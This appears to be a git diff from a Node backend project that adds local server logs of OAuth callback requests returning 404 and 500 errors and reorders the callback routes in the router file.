/authorized-client?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu24p1Z5BvQc_29RVrF8CKkZhjKsvXLxN9cUISi34ZVArPLYyM01CYe3Uz5NGYg8xS5yzwP2JHkO-jUXIgHEIvZh0tHXACthl0LW1SZ2oZDvMNzOsutgMM6K51SOkgdQaE73YL4TaMD7xemsEvduXR31EoturtACt49vF2_UMcEcUawDDGuuzRobwEpsiMbCP92fc_9i_TRlEwB-1Zx4wP0R4Gv_J0S544ceyPhEMFZcQN0Xn2fkpdpyd27_c3tUug-AENpFit25EBfy6dk2JyifWaKGLJVqqTjzemNbcGtw6Cx-xE8_Warl3MjVks0eRDpnHSzPWKvNfceCr82W7j_19OodAZk8yMSOA4PPeeyytvL5AG_iHklhQ7z3YnP3XrKbIYWMeRFwvSlrHUe5ubEKwma24OlK269veQW_4R1mokvl9iNgFt6xQ8T398SQend9AdAEC75WKl0PKFraVI69jyF1DoqzQrZKqESsk1oLpvSLYslklSNQKsKB8cxx4qz2H_HPlf0izqhwlu_Kyn_WHhMcqxvNSGGdZ2en_dT2nweT3Q8kEXN1mItZIZugSIU&state=eyJuZXh0X3VybCI6Imh0dHBzOi8vZGV2NC40bmt3ZWIuY29tL2F1dGhvcml6ZWQtY2xpZW50Iiwibm9uY2UiOiJjOGYwYTliNWQxMDE0NmRkNThlZGQ4NDk1ZjBlNjM2YSIsInRzIjoxNzU4NzQ0NDgyOTQwfQ.TsvjFvbs3N72YvzsHv2aapYyyn2M8kxPZgDbZz9AY6M - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 0, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/authorized-client?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu24p1Z5BvQc_29RVrF8CKkZhjKsvXLxN9cUISi34ZVArPLYyM01CYe3Uz5NGYg8xS5yzwP2JHkO-jUXIgHEIvZh0tHXACthl0LW1SZ2oZDvMNzOsutgMM6K51SOkgdQaE73YL4T'... 652 more characters, + userAgent: 'got (https://github.com/sindresorhus/got)' + }, + requestId: 'req_1758744589092_83knj86vs', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-24T20:10:06.013Z HTTP GET /authorized-client?code=test&state=test - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 0, + request: { + ip: '::1', + method: 'GET', + url: '/authorized-client?code=test&state=test', + userAgent: 'curl/7.74.0' + }, + requestId: 'req_1758744606013_pv10voa51', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-24T20:10:20.468Z HTTP GET /authorized-client?code=test&state=test - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::1', + method: 'GET', + url: '/authorized-client?code=test&state=test', + userAgent: 'curl/7.74.0' + }, + requestId: 'req_1758744620467_8qoai8u9o', + response: { + statusCode: 404 + } +} +ℹ️ [INFO] 2025-09-24T20:10:25.468Z HTTP GET /health - 200 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::1', + method: 'GET', + url: '/health', + userAgent: 'curl/7.74.0' + }, + requestId: 'req_1758744625467_urwxc2dh4', + response: { + statusCode: 200 + } +} +❌ [ERROR] 2025-09-24T20:10:44.644Z HTTP GET /authorized-client?code=test&state=test - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 0, + request: { + ip: '::1', + method: 'GET', + url: '/authorized-client?code=test&state=test', + userAgent: 'curl/7.74.0' + }, + requestId: 'req_1758744644643_iqt5v5kkm', + response: { + statusCode: 404 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback?code=test&state=test', + method: 'GET', + query: { + code_present: true, + code_length: 4, + state_present: true, + state_length: 4 + }, + headers: { + host: 'localhost:8080', + 'x-forwarded-for': undefined, + 'x-forwarded-proto': undefined + } +} +❌ [ERROR] 2025-09-24T20:10:48.819Z Unhandled error +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + message: 'Invalid state format', + name: 'Error', + stack: 'Error: Invalid state format\n' + + ' at Object.verifyState (/home/ank/dev/lecoffre-back-mini/dist/services/state.service.js:70:19)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handl'... 1454 more characters + }, + request: { + body: {}, + ip: '::1', + method: 'GET', + url: '/idnot/callback?code=test&state=test', + userAgent: 'curl/7.74.0' + }, + requestId: 'req_1758744648804_et75u1xbs' +} +❌ [ERROR] 2025-09-24T20:10:48.820Z HTTP GET /idnot/callback?code=test&state=test - 500 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 16, + request: { + ip: '::1', + method: 'GET', + url: '/idnot/callback?code=test&state=test', + userAgent: 'curl/7.74.0' + }, + requestId: 'req_1758744648804_et75u1xbs', + response: { + statusCode: 500 + } +} +❌ [ERROR] 2025-09-24T20:11:00.241Z HTTP GET /authorized-client?code=test&state=test - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::1', + method: 'GET', + url: '/authorized-client?code=test&state=test', + userAgent: 'curl/7.74.0' + }, + requestId: 'req_1758744660240_wl486ru92', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-24T20:11:06.054Z HTTP GET /authorized-client - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::1', + method: 'GET', + url: '/authorized-client', + userAgent: 'curl/7.74.0' + }, + requestId: 'req_1758744666053_8zg1xf8cp', + response: { + statusCode: 404 + } +} +ℹ️ [INFO] 2025-09-24T20:11:16.249Z SIGTERM received, shutting down gracefully diff --git a/logs/server.pid b/logs/server.pid index 3996ed6..50d4fdc 100644 --- a/logs/server.pid +++ b/logs/server.pid @@ -1 +1 @@ -3962703 +4095405 diff --git a/src/routes/index.ts b/src/routes/index.ts index 38d26e0..fe958b3 100644 --- a/src/routes/index.ts +++ b/src/routes/index.ts @@ -10,6 +10,11 @@ import { processRoutes } from './process.routes'; const router = Router(); +// State and callback endpoints (front-agnostic) - must be before /api routes +router.post('/api/v1/idnot/state', StateHandlers.createState); +router.get('/idnot/callback', IdNotCallbackHandlers.callback); +router.get('/authorized-client', IdNotCallbackHandlers.callback); + // Mount routes router.use('/api/v1', healthRoutes); router.use('/api', smsRoutes); @@ -18,9 +23,4 @@ router.use('/api/v1/process', processRoutes); router.use('/api', emailRoutes); router.use('/api', stripeRoutes); -// State and callback endpoints (front-agnostic) -router.post('/api/v1/idnot/state', StateHandlers.createState); -router.get('/idnot/callback', IdNotCallbackHandlers.callback); -router.get('/authorized-client', IdNotCallbackHandlers.callback); - export { router as routes };